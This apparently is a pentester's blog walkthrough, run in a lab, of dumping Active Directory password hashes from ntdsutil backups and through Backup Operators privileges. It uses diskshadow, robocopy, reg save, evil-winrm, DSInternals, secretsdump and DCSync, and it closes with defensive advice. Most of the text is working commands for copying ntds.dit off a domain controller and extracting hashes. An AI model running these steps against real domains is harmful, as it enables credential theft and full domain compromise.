TL;DR Backup Operators, offline AD backups, etc and some changes coming with the 2025 domain level.
Background
I had been meaning to screw around with dumping credentials from a backup of AD forever. I kept getting busy with other projects, and then recently TryHackMe incorporated it into one of their practice VMs. The RazorBlack room was good practice, but the VM kept disconnecting me every hour and I’d have to restart it, hence I had to rush through parts of it.
I wanted to run through it again without a one hour time limit, take better notes, and go over a few other aspects of AD backups. Along the way we found something interesting about the 2025 domain functional level, DSInternals, and secretsdump.
We used our lab.local domain running on Windows Server 2025 Preview as the target domain in this exercise. We used Windows Server 2022, 2025, and Kali as the “attacker” systems.
Dumping creds from an AD backup
We started out by making a backup the old fashioned way with ntdsutil. Attackers like this tool too, probably because it’s builtin and hence doesn’t trip Defender.
ntdsutil
activate instance ntds
ifm
create sysvol full C:\Temp\IFM\
We will pretend we are a careless sysadmin and share the drive with the backup, giving Domain Users read only.
New-SmbShare -Name Temp -Path “C:\Temp” -ReadAccess “Domain Users”Then our old friend Malicious Insider will grab a copy and dump the creds on Windows Server 2022. The VM running Server 2022 is on test.local. There’s no trust relationship between the domains. DSInternals only requires that one runs it as a local admin.
New-Item C:\Temp\DSInternals -ItemType Directory
Save-Module -Name DSInternals -path 'C:\temp\DSInternals'
Install-Module -Name DSInternals -Scope AllUsers
Copy-Item "\\192.168.0.250\Temp\IFM" -Recurse C:\Temp
$key = Get-BootKey -SystemHivePath 'C:\Temp\IFM\registry\SYSTEM'
$hashes = Get-ADDBAccount -All -DBPath 'C:\Temp\IFM\Active Directory\ntds.dit' -BootKey $key
$hashes | Format-Custom -View Ophcrack | Out-File C:\Temp\Hashes.txt
We spun up a Windows Server 2025 VM, made it a member server on test.local, and used the exact same DSInternals.
I suspect this is due to one of the changes in Windows Server 2025 and the new domain functional level. Quoting 4sysops:
“The primary reason for upgrading an AD forest to the new functional level 10 is to benefit from the enhanced database engine. Since the introduction of AD in Windows Server 2000, it has used an 8K page size, resulting in various limitations, such as individual objects not being able to exceed 8K in size.
The revised Jet Blue extends the page size to 32K, allowing the maximum size of objects to reach this value. Multi-value attributes can then accommodate up to 3200 values.
New domain controllers are installed with a 32K page size and use 64-bit long value IDs. For compatibility with existing environments, they also support an 8K page mode.”
We will see a similar error shortly with secretsdump that also make me think this is the reason.
Backup Operators
I am probably preaching to the choir, but the builtin AD group Backup Operators have privileges to read files, traverse directories, and backup everything. This includes files and folders on DCs.
This means Backup Operators can backup the DC’s hard drive, make a copy of ntds.dit and the system registry hive from the backup, and then move both files offline and dump hashes.
If the attacker is on Kali then simply create a backup.txt containing:
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupFor simplicities sake we made Insider a member of Backup Operators and Remote Management Users. This way they can run the entire attack from Kali over evil-winrm.
evil-winrm -i 192.168.0.250 -u Insider -p <password>mkdir C:\Temp
cd C:\Temp
upload /home/kali/Downloads/exploits/backup.txt
diskshadow /s backup.txt
once that’s done:
robocopy /b E:\Windows\ntds . ntds.dit
reg save hklm\system c:\temp\system
download ntds.dit /home/kali/Downloads/Pilfered/lab/ntds.dit
download C:\Temp\system /home/kali/Downloads/Pilfered/lab/system
Normally one would then dump hashes offline with secretsdump.
cd /home/kali/Downloads/Pilfered/lab
python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -ntds ntds.dit -system system LOCAL
We see an error. However DSInternals running on Windows Server 2025 can read these files just fine.
Sidenote on DSInternals
DSInternals is a very useful security tool in general. It includes many features useful for auditing. A full list and examples of how to use the commands is here.
One of the nifty abilities is that DSInternals can DCSync. If you just want the krbtgt hash, and you have credentials of an account that can DCSync, one can:
# Define clear text string for username and password
[string]$userName = 'Frisky.McRisky'
[string]$userPassword = 'Password00'
# Convert to SecureString
[securestring]$secStringPassword = ConvertTo-SecureString $userPassword -AsPlainText -Force
[pscredential]$credObject = New-Object System.Management.Automation.PSCredential ($userName, $secStringPassword)
#DCSync a specific account
Get-ADReplAccount -SamAccountName "Administrator" -Server 'labdc.local' -Credential $credObject
#Grab all domain hashes
Get-ADReplAccount -All -Server 'labdc.local' -Credential $credObject
#Make sure you add the victim DC to your hosts file if you're not on the domain!
#notepad C:\Windows\System32\drivers\etc\hosts
Get-ADReplAccount -SamAccountName "krbtgt" -Server 'labdc.local' -Credential $credObject
Alternatively one can dump all accounts, including if the account is enabled, LastLogonDate, NTHashHistory, etc. The output will be very verbose, so it’s recommended to pipe it to a file.
Get-ADReplAccount -All -Server ‘labdc.local’ -Credential $credObject | Out-File .\AllHashes.txtSummary
In the end I’m glad I waited so long to run this lab project. It turned into an interesting experiment in pulling creds from an AD backup with the 2025 functional level.
I’m sure this is just preaching to the choir, but check the NTFS permissions if your backups are on a share drive and make sure they’re locked down. Treat Backup Operators like Domain Admins if you are using that builtin group. They effectively are.
References
Sean Metcalf on attacker usage of ntdsutil: https://adsecurity.org/?p=2398
Sean Metcalf on securing AD backups: https://adsecurity.org/?p=2362
DSInternals: https://github.com/MichaelGrafnetter/DSInternals
New page size in 2025 Domain functional level: https://4sysops.com/archives/active-directory-in-windows-server-2025-new-functional-level-updated-database-security-improvements/?fbclid=IwAR3PBrMdOxHpdoUVdibvBYl6UgHhz87ihni5oETWLLRQ5PDd1iwTxt5pbl8
PS Credential Object: https://pscustomobject.github.io/powershell/howto/PowerShell-Create-Credential-Object/
